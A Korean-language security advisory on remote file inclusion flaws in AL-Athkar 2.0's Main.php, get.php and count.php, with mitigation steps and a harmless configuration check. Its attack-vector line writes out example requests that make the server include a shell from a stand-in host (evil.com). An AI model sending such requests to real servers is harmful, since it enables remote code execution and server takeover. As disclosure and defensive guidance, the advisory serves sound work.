🇰🇷 한글 설명
AL-Athkar 2.0에서 발견된 원격 파일 포함(RFI) 취약점으로, Main.php와 get.php의 include 파라미터, count.php의 exec 파라미터를 통해 공격자가 악의적인 URL을 입력하여 임의의 PHP 코드를 원격에서 실행할 수 있습니다. 서버의 allow_url_include 설정이 활성화되어 있으면 외부 악성 서버의 코드까지 실행 가능합니다.
💡 쉬운 설명
웹사이트의 특정 파일들이 사용자 입력값을 검증하지 않고 그대로 포함시켜서, 해커가 악의적인 웹주소를 보내면 서버에서 그 주소의 코드를 실행하게 되는 문제입니다. 이를 통해 공격자가 서버를 완전히 제어할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in AL-Athkar 2.0 allow remote attackers to execute arbitrary PHP code via a URL in the (1) include parameter to (a) Main.php and (b) get.php and the (2) exec parameter to (c) count.php.
📍 영향받는 시스템
AL-Athkar 2.0 및 이전 버전 (PHP 기반 웹 애플리케이션)
⚔️ 공격 벡터
HTTP GET/POST 요청으로 include, exec 파라미터에 외부 URL을 전달: Main.php?include=http://evil.com/shell.php 또는 count.php?exec=http://evil.com/code.php
🛡️ 대응 방법
AL-Athkar를 최신 버전으로 업그레이드하거나, php.ini에서 allow_url_include=Off 설정, allow_url_fopen=Off 설정, 입력값 검증 및 화이트리스트 기반 파일 포함 구현
🔧 검증 코드
첫 번째 명령어는 취약한 파일 존재 여부 확인, 두 번째는 PHP 설정에서 allow_url_include와 allow_url_fopen이 Off로 설정되어 있는지 확인 (Off 상태가 안전함)
ls -la /path/to/application/Main.php /path/to/application/get.php /path/to/application/count.php 2>/dev/null; php -i | grep -E 'allow_url_include|allow_url_fopen'